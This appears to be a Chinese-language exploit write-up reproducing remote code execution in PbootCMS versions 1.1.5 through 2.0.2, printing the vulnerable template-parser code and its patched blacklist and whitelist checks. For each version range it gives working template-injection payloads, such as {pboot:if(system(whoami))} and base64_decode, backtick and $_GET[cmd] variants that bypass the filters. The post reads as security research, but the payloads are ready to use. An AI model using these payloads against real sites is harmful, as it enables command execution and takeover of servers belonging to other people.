文章插图
PbootCMS (v1.1.5及其以下)漏洞复现
文章插图
poc:{pboot:if(system(whoami))}{/pboot:if}
漏洞分析漏洞点位于/Apps/home/controller/ParserController.phppublic function parserIfLabel($content){$pattern = '/{pboot:if(([^}]+))}([sS]*?){/pboot:if}/';$pattern2 = '/pboot:([0-9])+if/';if (preg_match_all($pattern, $content, $matches)) {$count = count($matches[0]);for ($i = 0; $i < $count; $i ++) {$flag = '';$out_html = '';// 对于无参数函数不执行解析工作if (preg_match('/[w]+()/', $matches[1][$i])) {continue;}eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');......
这里有通过两个正则表达式后即可进入eval函数且$content是可控的第一个正则表达式限制格式格式必须为{pboot:if(payload)}{/pboot:if}形式第二个正则表达式不允许出现字母后面加()的情况,如phpinfo()这里很好绕过,比如phpinfo(1),system(任意命令)PbootCMS (v1.1.6-v1.1.8)漏洞分析从1.1.6对之前存在的任意代码执行漏洞进行了修补,增加了部分函数黑名单,代码如下
public function parserIfLabel($content){$pattern = '/{pboot:if(([^}]+))}([sS]*?){/pboot:if}/';$pattern2 = '/pboot:([0-9])+if/';if (preg_match_all($pattern, $content, $matches)) {// IF语句需要过滤的黑名单$black = array('chr','phpinfo','eval','passthru','exec','system','chroot','scandir','chgrp','chown','shell_exec','proc_open','proc_get_status','error_log','ini_alter','ini_set','ini_restore','dl','pfsockopen','syslog','readlink','symlink','popen','stream_socket_server','putenv','unlink','path_delete','rmdir','session','cookie','mkdir','create_dir','create_file','check_dir','check_file');$count = count($matches[0]);for ($i = 0; $i < $count; $i ++) {$flag = '';$out_html = '';$danger = false;foreach ($black as $value) {if (preg_match('/' . $value . '([s]+)?(/i', $matches[1][$i])) {$danger = true;break;}}// 如果有危险字符,则不解析该IFif ($danger) {continue;}eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');
显然黑名单有漏网之鱼,但是由于将单引号、双引号都进行了html实体转义让很多函数不能使用,但是依然有可以用的,如base64_decode,反引号等payload1{pboot:if(1);$a=base64_decode(c3lzdGVt);$a(whoami);//)}{/pboot:if}
文章插图
payload2{pboot:if(var_dump(`whoami`))}{/pboot:if}
文章插图
PbootCMS(v1.1.9-v1.3.2)发现黑名单有不足于是改成了白名单,代码如下
public function parserIfLabel($content){$pattern = '/{pboot:if(([^}]+))}([sS]*?){/pboot:if}/';$pattern2 = '/pboot:([0-9])+if/';if (preg_match_all($pattern, $content, $matches)) {$count = count($matches[0]);for ($i = 0; $i < $count; $i ++) {$flag = '';$out_html = '';$danger = false;$white_fun = array('date');// 不允许执行带有函数的条件语句if (preg_match_all('/([w]+)([s]+)?(/i', $matches[1][$i], $matches2)) {foreach ($matches2[1] as $value) {if (function_exists($value) && ! in_array($value, $white_fun)) {$danger = true;break;}}}// 如果有危险字符,则不解析该IFif ($danger) {continue;} else {$matches[1][$i] = decode_string($matches[1][$i]); // 解码条件字符串}eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');......
如果我们能绕过function_exists的检测就行了网上有师傅给了如下绕过思路文章插图
payload1{pboot:if(system(whoami));//)}{/pboot:if}
文章插图
payload2{pboot:if(1);$a=$_GET[cmd];$a(whoami);//)}{/pboot:if}&cmd=system
文章插图
后面的版本添加了正则匹配eval,其实也没啥用,上面两个payload一样可以用
PbootCMS(v1.3.3-v2.0.2)过滤了特殊字符导致使用非交互式直接执行任意代码的时代结束
推荐阅读
- SimCLR框架的理解和代码实现以及代码讲解
- HTML中嵌入视频和音频代码
- 78行代码实现撤回消息查看!Python itchat
- 将代码注释转换为过程规范
- 基于springboot+shiro+freemarker的快速开发框架,代码免费分享
- 代码封装技巧和原则
- 解放双手!你不知道的代码生成神器
- 十大无代码网站编辑器
- 【网络安全】关于OracleWeblogic远程代码执行高危漏洞的预警通报
- 几十行python代码,玩转人脸融合!它山API,可以攻玉